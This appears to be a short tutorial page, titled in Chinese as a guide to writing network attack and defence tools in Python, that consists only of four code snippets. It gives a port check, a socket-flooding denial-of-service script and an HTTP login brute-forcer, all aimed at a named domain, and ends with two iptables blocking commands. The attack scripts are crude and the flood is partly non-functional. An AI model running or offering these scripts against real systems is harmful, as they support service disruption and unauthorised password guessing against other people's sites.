怎样使用Python编写网络攻击和防御工具

import socket

target = 'pidancode.com'
port = 80

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((target, port))

if result == 0:
   print("Port {} is open".format(port))
else:
   print("Port {} is closed".format(port))

sock.close()

import socket

target = 'pidancode.com'
port = 80

sock_list = []

for i in range(500):
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock_list.append(sock)

for sock in sock_list:
   sock.connect_ex((target, port))

while True:
   pass

import requests

target = 'pidancode.com'

with open('passwords.txt', 'r') as password_file:
   passwords = password_file.readlines()

for password in passwords:
   password = password.strip()
   r = requests.get('http://{}/login'.format(target), auth=('user', password))
   if r.status_code == 200:
      print("Password is {}".format(password))
      break
   else:
      print("Incorrect password {}".format(password))

import os

os.system('sudo iptables -A INPUT -s 192.168.1.0/24 -j DROP')
os.system('sudo iptables -A OUTPUT -d 192.168.1.0/24 -j DROP')